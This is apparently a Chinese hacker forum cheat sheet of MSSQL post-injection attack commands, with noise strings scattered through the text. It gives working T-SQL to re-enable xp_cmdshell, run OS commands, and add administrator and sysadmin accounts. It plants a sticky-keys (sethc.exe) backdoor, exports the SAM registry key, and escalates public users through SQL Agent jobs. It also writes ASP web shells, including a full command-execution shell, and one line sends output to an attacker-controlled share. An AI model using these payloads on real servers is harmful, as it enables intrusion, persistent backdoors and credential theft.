1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
( ?: ~+ A) k. k% j恢复方法:查询分离器连接后,
# [/ D+ N5 O' N% l第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int 2 S- F; u' H8 P1 |
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
$ p, o: h2 m9 @2 j) }2 B然后按F5键命令执行完毕: X) Y& O" y" ^- _
- L: @6 G8 d4 i5 j2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
/ S$ ~- ]& @4 h7 B: u恢复方法:查询分离器连接后,7 b. t. ~6 r8 L9 \" i/ X
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
7 Q' w7 o' a. R5 F第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' A* K* t2 N" j( P8 E) w8 i% v8 _+ s
然后按F5键命令执行完毕, K' ?& f( T9 L L+ M! t
1 @; W0 E& O9 G$ c3 ^3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
9 S: P- }! t @( D$ _恢复方法:查询分离器连接后,2 b& n$ v7 R1 v& J$ \3 S# X1 G
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'; X3 O* } q9 v e; j6 n) |
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll' : U/ r$ ^+ C% w+ F& A' S$ f
然后按F5键命令执行完毕
/ q- a1 ^9 C* C, O& }6 ^! X9 c& @' W% P+ [* Q2 U8 P+ P. _! P1 T+ a
4 终极方法.
+ ]7 {& v. ]3 y如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
. ]2 l B4 u4 ~, H查询分离器连接后,
9 r( Y* B: i% Q3 v2000servser系统:
6 F1 b& H! j: N5 u, s2 cdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'4 b' B, C2 l. E9 `. r' \
0 t* P r: b/ {( q$ u! u4 S j: K, Rdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'7 u, U5 Z# K7 ^
& Q0 a% H/ x: d" ^
xp或2003server系统:4 y) C+ P+ B" J8 k6 K1 Y
6 X3 Q1 R$ d! F1 X, J2 bdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
9 W# y- t* E% b4 B6 x. i
% z* e& j! u) G, H( T6 q$ z) ?declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
$ ~- X6 F" c, r |0 L
# u5 M4 n8 q# k, V5 J) p( c
: b# [ P* ?7 [# S五个SHIFT( { a% r9 O; H2 v" c+ l( P
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';5 A! e2 _' z) T1 ]( j
- Y, }# T3 F# S0 o+ K8 [8 Fdeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; ( R- |& j1 V" [# ]5 }# R/ p
! w) s0 E4 x" e/ x9 E9 D' D$ rxp_cmdshell执行命令另一种方法7 k \% o5 B; x; p0 j j
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
" F4 M, f+ p; u: y% |0 f/ S5 _0 B) q! E
判断存储扩展是否存在+ t4 U3 M" W ^( |; K y% k
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'" P1 B% l/ \0 n+ y* ^$ W- g8 L6 A
返回结果为1就OK
' V# {. Y2 g3 `3 [5 A+ s3 a+ G: R- E# }$ w3 B% V1 L) |
( d1 D. F$ h, [+ C
上传xplog70.dll恢复xp_cmdshell语句:
Z' ?: X8 l& s! ksp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'1 `' l1 e: i$ m R( e9 e
: e0 q& T8 f, D& b8 R' q) ^否则上传xplog7.0.dll& ]7 Z" d8 ?+ o' I
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
& E$ M1 V2 K- i% S0 M' v* P4 u* f, F3 m) \; x9 F1 K" L% U
% p# U! j; i) ^8 [
) x- ?1 T$ q* p. ^. s$ I4 K- T
首先开启沙盘模式:
$ g. L2 T- f3 H# E9 f5 ~6 {exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1& w4 {& |0 N! o
# F( [8 e1 L- m5 e7 s# T" G然后利用jet.oledb执行系统命令
& a) O2 b1 ^ a4 [5 H: w0 [# v6 wselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")'). P% Y( d- q+ v7 z
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
) k- A8 q1 ]: d* b% [) c* G) o/ e0 r6 N# Y( e: I
/ n5 y k/ g8 A: l- S
: g: h/ Z" f& Q6 ]# b- M+ A# d
恢复过程sp_addextendedproc 如下:
" V, Q1 n" \+ g- T- Zcreate procedure sp_addextendedproc --- 1996/08/30 20:13
( b- d! ~ Q' s, I" X* W$ ^@functname nvarchar(517),/* (owner.)name of function to call */
6 \8 m8 N& d( H4 R$ `8 k7 i@dllname varchar(255)/* name of DLL containing function */ ) u" N/ k j* ?/ _* z0 Y' ~
as
+ F! W. C# x, M7 zset implicit_transactions off
; f b4 L6 D+ a# O4 i' X" a `if @@trancount > 0
! n" g+ A, O; q" M9 y- }* _( s' hbegin - h7 o" i2 Y0 L6 U0 g; d
raiserror(15002,-1,-1,'sp_addextendedproc') E) t# t8 m8 N$ K% G4 \$ x2 ^( [
return (1) " l- C) E( [6 d6 `/ ^+ K
end
' Z- U: t7 H& J$ i+ J% X. f" |& I" Ldbcc addextendedproc( @functname, @dllname) : ]6 q$ \8 Q0 M# g$ B1 W; X
return (0) -- sp_addextendedproc 5 V7 {3 m b' H
GO : o3 o& p* j) z, j
, V+ L8 d; e1 l6 @ O0 V0 F+ q" P' d+ L, M" b E* \
, W8 Q& n U, f
导出管理员密码文件
& s8 u( x$ N8 i9 l( M& Wsa默认可以读sam键.应该。% [* w9 {7 H: a+ B
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
* @, T! T. W/ onet user administrator test+ E. b0 p5 G8 i7 k/ B
用administrator登陆.
/ n6 n( u: R2 ?; |用完机器后
# Q9 M5 p" p! _, ^& w1 l }- zreg import c:\test.reg! j$ @, T) ~$ Q0 t
根本不用克隆.8 D3 B7 ^; U; D" X {8 C& x
找到对应的sid.
8 d% U1 r" @' v6 f5 M8 K$ U) ?+ w3 w% K3 {6 @: B3 |
; G. D( {* x3 X" u8 c# J3 F
$ K0 ?6 D! ~! p( K7 `6 S
恢复所有存储过程
0 P8 z$ P9 B' w' |; uuse master 0 i* b4 I. B0 V3 M4 N
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
! e7 N$ c4 g' ?( f6 w, M6 z S) Mexec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
4 }) R0 t3 Q9 o( b4 N# bexec sp_addextendedproc xp_loginconfig,'xplog70.dll' 8 B9 G. K0 E& P! z5 ?
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
2 w H7 j$ i& ]+ u* M/ Jexec sp_addextendedproc xp_getfiledetails,'xpstar.dll' $ j) I8 l d$ g0 }
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
* q- Z! n7 d- _6 fexec sp_addextendedproc sp_OADestroy,'odsole70.dll' ; W5 }- S& P8 o6 B7 g
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' # d% m. N: P/ |3 F
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' " e, Q( ?1 _0 F4 U3 n( j2 e
exec sp_addextendedproc sp_OAMethod,'odsole70.dll' & h9 p9 H. o, l
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll' $ m$ {, d( U! y; ^8 l, Z* K- N+ @
exec sp_addextendedproc sp_OAStop,'odsole70.dll' ) ?6 `6 S3 B) W. G% A. b
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
* T. J4 L7 ^8 ^; W. iexec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
" Y, |8 O7 A# i% ^' R% M9 G$ Vexec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' / ?4 x3 `8 S8 l
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
- M, W, @* J' b) U, ^) O0 Eexec sp_addextendedproc xp_regread,'xpstar.dll'
7 ?7 B& s, z3 W2 wexec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' 3 B" {" n9 T9 z
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
0 L! |. H' b3 @( b; L! L+ C/ l Wexec sp_addextendedproc xp_availablemedia,'xpstar.dll'
6 h5 Y3 I; J7 N% X# {- A, U6 r1 _$ M: t5 N( {1 b6 ~' N: ?
8 x' K0 ? u/ Q0 R( X R- [& I建立读文件的存储过程* x T( B+ S$ l1 V. C# c$ }1 v
Create proc sp_readTextFile @filename sysname1 t1 K: S$ e: Z2 l
as7 n2 Y8 \1 X) J- R( W
; ~1 @/ Z" j3 N& U( ]- N7 O( C
begin 5 L S: q; C% F( E& C |
set nocount on 8 N' b4 w3 O8 j/ A L
Create table #tempfile (line varchar(8000))
- V' N2 c. F. [. W4 M* ]# a" I exec ('bulk insert #tempfile from "' + @filename + '"')/ | P) |: P) T1 l
select * from #tempfile
5 F" V9 G, X" ]3 c drop table #tempfile3 ^1 j0 N- m r" E- ]( G0 F
End! h/ ^8 A3 @5 Q' Z5 Q
) [1 ]( a3 C7 {) p
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
, `) N5 J$ _; C- z$ J( I4 z t3 F查看登录用户
) K( N2 C* I! BSelect * from sysxlogins
5 G `8 R3 F& B& Y, N' x, i1 o( D4 U
把文件内容读取到表中
( s. i W" `2 s: pBULK INSERT tmp from "c:\test.txt"8 ?5 E4 i' _4 S7 b$ Z2 p7 ^
dElete from 表名 清理表里的内容5 a( |1 E O0 J4 H: o# h
create table b_test(fn nvarchar(4000));建一个表,字段为fn
7 k, l0 I) J, ~
: j: k( P- d9 u2 C5 W6 {+ D r2 h
9 D+ ^9 k) c7 Y$ b0 H加sa用户
8 d( M0 K1 V# G4 w' eexec master.dbo.sp_addlogin user,pass;7 t' b8 c! l2 C A
exec master.dbo.sp_addsrvrolemember user,sysadmin
" r, y k9 |' }1 H
: I% T7 y/ [% h' e, i
r, r+ ?$ R; \! D V# K0 |. | g5 ~
读文件代码, ~( q% c" ?8 y- x. ?* p) u r, ]
declare @o int, @f int, @t int, @ret int
: U" N8 u7 G! I4 Odeclare @line varchar(8000)5 I6 t, J4 x* G
exec sp_oacreate 'scripting.filesystemobject', @o out& u* ?- T' z, w/ M3 |
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 13 C. b z5 p9 \8 `
exec @ret = sp_oamethod @f, 'readline', @line out' f# u+ { J& b% j
while( @ret = 0 )
. Y- Q( {7 F" S0 H" W9 Z, wbegin
6 ?' Q* j0 S( Q3 ~print @line
% S2 r) l$ H# E; E8 [/ ?exec @ret = sp_oamethod @f, 'readline', @line out
( ?+ y9 E0 C( [2 N5 D q( {( P7 Q) oend
+ ^6 O% y7 U3 V' o- O7 ]
* @1 z- P( ^8 K' r$ I( t
; R9 C ] _; B7 W写文件代码:% s* q& [$ Z. k. `1 u/ A6 R7 l; N
declare @o int, @f int, @t int, @ret int
0 R9 x' E. w' E- `3 N S9 ^( _exec sp_oacreate 'scripting.filesystemobject', @o out
5 b' }0 T+ C% I ^exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 15 Q) `/ o8 I' a+ h
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
' h& @' \5 f3 b# P2 F
4 a7 [5 c9 e3 a5 ?; o! O
* J1 c# Z5 a& N3 [添加lake2 shell
# O4 r E! ]% m5 }1 U$ I& Z: d: Hsp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
# ~9 ^5 k) p4 K# w8 j# `; ^% {4 esp_dropextendedproc xp_lake2 Z4 _' s& E! q
EXEC xp_lake2 'net user'
, \& p' u, s$ z
6 f, m- [# h0 l- q6 M0 w
& A( G" {5 G: i5 `& ^得到硬盘文件信息
$ o9 H7 f* x1 ~5 b! m/ v--参数说明:目录名,目录深度,是否显示文件
$ A& e1 J& @" ?* \, [$ h0 Sexecute master..xp_dirtree 'c:'
+ L: b- g$ }. s7 l3 d7 Rexecute master..xp_dirtree 'c:',1
3 f7 i% S' @2 d! a5 Q/ yexecute master..xp_dirtree 'c:',1,1
: c: C: s7 G$ ]' l' i. T9 ~' m! |( w: E. F4 b/ _
/ k" {9 I% z% \) }4 R
读serv-u配置信息6 B/ Q9 y, A* ^4 a( L3 C) `
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
9 p. W2 }6 u7 |& Texec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
: I7 J( P) g1 z" a2 ~1 \# }! ~5 x* x# `4 y$ M
通过xp_regwrite写SHIFT后门' r' u7 ]2 H7 C/ I) u# P2 q% X
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
1 o- s6 E7 A7 W8 p0 v
, ?+ G, Z1 r5 @3 T
: y! e9 t/ V( S9 ]1 U f8 i# E" y/ h- l- w" H& o9 m' Y8 i
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';1 y" h$ G; @5 E" r @3 b5 {1 F
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
8 o0 \" n: w" n& v
9 Z- G$ g# q6 s- I- k7 {7 X9 X' f* o. `EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
. R4 t: m5 _; O% }$ S/ P7 M! [6 R; E- t9 a3 A% s1 h( ~) W/ V0 U
+ L5 I0 K3 m+ a
9 a8 c/ O9 ~9 d; l8 v* a) x: Jsql server 2005下开启xp_cmdshell的办法- X7 M5 L3 T$ L* e
1 M8 X9 n. `8 f$ d+ @, o5 j
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
" T; y) i4 ?, N, Y& i; ]" e; x' B/ }% A, @8 @4 S2 c
SQL2005开启'OPENROWSET'支持的方法:) B5 \; O4 N9 p, J8 ?5 G" h9 h
9 _/ n8 [( r2 ~* p* B# J" nexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
: ?- z4 M& A, q# b& M: B
8 T0 w) y: D+ `. x. P9 I( {SQL2005开启'sp_oacreate'支持的方法:
0 ]* I& h7 X+ i9 f* Y! r! o$ h" C% @ b6 _
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
F$ {) n( s# C# A$ e/ n
. V8 U5 ~( p1 F0 U9 X$ L5 l: T" A
6 @. G S {( ~' T6 `" H* s
" _6 c6 n" m7 Y" h( w
+ r+ _6 z3 w2 `
; L8 s4 @- o$ ?# q1 }- J1 N2 q
; T( R: x8 y, K6 R
. ^+ _4 _: f* S% z$ v* A' ]3 P3 W8 r, H- O: l8 R a- ]
) C: }& o- W2 N5 X9 ?/ a# h
8 X, [$ B: p, k1 W4 i
- ]9 m& a# ~1 U5 i- [
) u/ Z' E9 |9 c- l4 U: a4 A1 V3 x3 r# ]) Q& ~
9 i4 C; Q t2 h# R
. d, t. G& o3 m, I0 s5 ?/ x- o
4 ]* R( n7 ]4 t
2 T) P6 L1 S$ F$ }' ?
$ u3 G- X+ w: h4 d% P" f& }4 F2 k
. w+ \$ b- V/ T- v0 M
, U4 V" N1 W/ I7 [
5 z' p5 }$ t# m1 H8 R8 r
. @5 v/ ~7 {; e; } X; y+ Y
$ I5 i: P; ~, S3 t% i0 _# t以下方面不知道能不能成功暂且留下研究哈:
3 ?$ f$ Z0 k+ a2 _8 F# o& W" \4)9 Y# x' _9 t; ~3 N' f7 _4 i2 }( ~
use msdb; --这儿不要是master哟
f8 G0 a* r* J9 aexec sp_add_job @job_name= czy82 ;! H5 r- [2 r' b' i: z& l
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;1 }2 Y/ _$ m9 s" a1 T& l
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
7 J |& J+ N8 {0 Y# Texec sp_start_job @job_name= czy82 ; Q1 J' e3 F a7 i3 x Z( z4 W
% ^) E* _$ a4 C6 p; k j利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
9 f7 I Z1 f$ S9 Z) [执行tsql语句了.8 [- P; R/ z8 g5 F
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名; } `) g( I7 k) Q$ @- p6 j
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)& f1 _7 q; Z3 t4 }' r. Q8 ~
net start SQLSERVERAGENT
1 @: }; U& ~$ H& Q3 }" S- E& k3 U" _# v, I* w3 m
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的6 w6 ^; L" a& s
USE msdb
0 Y3 Y3 O" h8 I6 s) ^ `EXEC sp_add_job @job_name = GetSystemOnSQL ,
) H* s! C# R; s- \8 l: N@enabled = 1,+ I3 v- }! Q* n+ x
@description = This will give a low privileged user access to {( ~1 R p X3 a3 P4 j3 h% y
xp_cmdshell ,4 q" Q: G; |. T+ p, F9 @
@delete_level = 14 `1 |9 ]) f4 @7 X
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,7 `0 o. r% U5 B5 M" I) E" l7 Y
@step_name = Exec my sql ,
' t4 S: x" U2 g y9 P9 y@subsystem = TSQL ,4 P( N" A3 @* `+ w9 ]3 X
@command = exec master..xp_execresultset N select exec8 d- x! j1 i4 ^8 X2 l
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master ) k+ ]' C2 I& @& K8 l! P
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
; f$ |. d& j) N: U0 F) u% ]@server_name = 你的SQL的服务器名
* \9 i: N" I1 Z% sEXEC sp_start_job @job_name = GetSystemOnSQL
1 ~- f) \9 o- K! D: x1 @+ G1 U1 `+ w0 q2 O- q
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
: p, V V/ X) T- t& C才让我们可以以public执行xp_cmdshell
: n' o" M3 w; P P
* e# _+ d1 w. j$ m3 V5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)" [. U8 `6 H; d: H# {9 {
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
. {1 ^- |# V& w4 R) k2 v1 U0 u+ j) G' K, m
USE msdb
: [9 m6 c6 i- cEXEC sp_add_job @job_name = ArbitraryFilecreate ,
. }; S7 E! g2 f( L- G8 \@enabled = 1,+ _5 J( e! v7 `8 w6 c+ z7 T* p! d8 x
@description = This will create a file called c:\sqlafc123.txt ,; l. K* Q- n+ i$ |4 E
@delete_level = 1
3 ]0 A8 @4 G2 Q. w! MEXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
9 y# Q C$ k* e@step_name = SQLAFC ,
% Q- ^% z5 [$ L+ F& F7 ]$ D, e% @@subsystem = TSQL ,
* }1 i4 d& t$ A@command = select hello, this file was created by the SQL Agent. ,
! O# s$ N8 F( R& ?' M) i0 c@output_file_name = c:\sqlafc123.txt
& W! U9 j8 i, p6 DEXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
. l$ t0 Y5 l5 R2 ?@server_name = SERVER_NAME
8 @! w( ~/ }5 `% Q; V+ K! h: wEXEC sp_start_job @job_name = ArbitraryFilecreate $ h2 q. @; I2 R; c& t
) r* X* x3 |+ u5 r如果subsystem选的是:tsql,在生成的文件的头部有如下内容! P7 @, \0 `' t5 y" ]5 r+ b
: Q: s* j4 s& G??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19# h% c3 s/ G) u2 N
----------------------------------------------/ e0 F2 V! m( u
hello, this file was created by the SQL Agent.
$ X: j) U! Z0 [
2 y4 ^. V: e/ B5 M# N% O(1 ?????)
7 J" ~4 }* p. H) Q/ O& j' c$ z2 ?/ s$ R" r
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
0 [7 l0 C: w% m2 L命令的vbs文件到启动目录!0 G+ m/ K! \% z3 A( t
2 y, Z5 d+ C% U5 e" {8 B2 V* R$ G, j$ H6)关于sp_makewebtask(可以写任意内容任意文件名的文件)0 @* a: }' ^3 p
关于sp_MScopyscriptfile 看下面的例子
4 m9 O! ~3 k! R, R' G+ rdeclare @command varchar(100) 4 T# g, S+ Y) x0 G8 `2 ~+ C( V
declare @scripfile varchar(200) 9 j" ]0 ]5 Q7 h# w' D/ t$ N
set concat_null_yields_null off
3 Z; i) q9 {, e) a1 s# {' Eselect @command= dir c:\ > "\\attackerip\share\dir.txt" * N( |4 d6 D# L
select @scripfile= c:\autoexec.bat > nul" | @command | rd "
) m# r% c3 G- ]( e, z/ w: M% qexec sp_MScopyscriptfile @scripfile , ) J- D( }, W7 v$ m1 }. A
) j3 K8 ~& S2 G
这两个东东都还在测试试哟
; {4 Y3 |3 w/ w" W让MSSQL的public用户得到一个本机的web shell
% z: t3 f' c; m. s* \, _( k. {* N; b/ N/ D8 i" ?8 ]. `
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,/ A+ p9 E/ N0 Z3 O- [ P3 j u
--@query= select <img src=vbscript:msgbox(now())> 8 A9 o& N. }% C& p& n( M. C* [5 W
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
4 k g0 s$ `% Q( S. @! K@query= select
& m+ E- B+ d& N% b! i% z<%On Error Resume Next 5 g- r0 J! N# p( Y
Set oscript = Server.createObject("wscript.SHELL")
0 b4 o4 s# |0 ~: wSet oscriptNet = Server.createObject("wscript.NETWORK")
) V8 i2 ^; e) pSet oFileSys = Server.createObject("scripting.FileSystemObject") # J8 l) t( l9 T9 r, V, N! y1 n# b
szCMD = Request.Form(".CMD") - Z: s* s9 @. Y
If (szCMD <>"")Then
, e7 w2 h. _5 [( A5 }, L3 i, uszTempFile = "C:\" & oFileSys.GetTempName() 6 i5 C B( \( z9 T3 x4 E9 S
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
7 d/ R1 C8 U3 R: \1 YSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) * n9 F3 E5 ^( ]" a) Z6 S- o Y' _- R
End If %> 5 K+ h( H% ~6 E2 Q9 t: a3 H' D, l" ^
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method=" OST">
( } Z$ j2 Q' N8 A" M<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
2 k. s R5 |. r5 m6 m! r) w( g</FORM>< RE> 9 @3 [ l% L& h+ @1 ^/ Y" o3 t$ n
<% If (IsObject(oFile))Then
) c( U: F- X' z1 X: S, tOn Error Resume Next
7 i& Z; o9 X5 p' H2 @Response.Write Server.HTMLEncode(oFile.ReadAll) 8 \. I8 ]9 X" H! y% y
oFile.Close
6 E7 P' m( g0 A1 A- QCall oFileSys.deleteFile(szTempFile, True) % K$ c! F, H5 o8 u& e9 U( u
End If%>
& O$ n+ o& ]4 h</BODY></HTML>
: K2 G( y, E& G" X |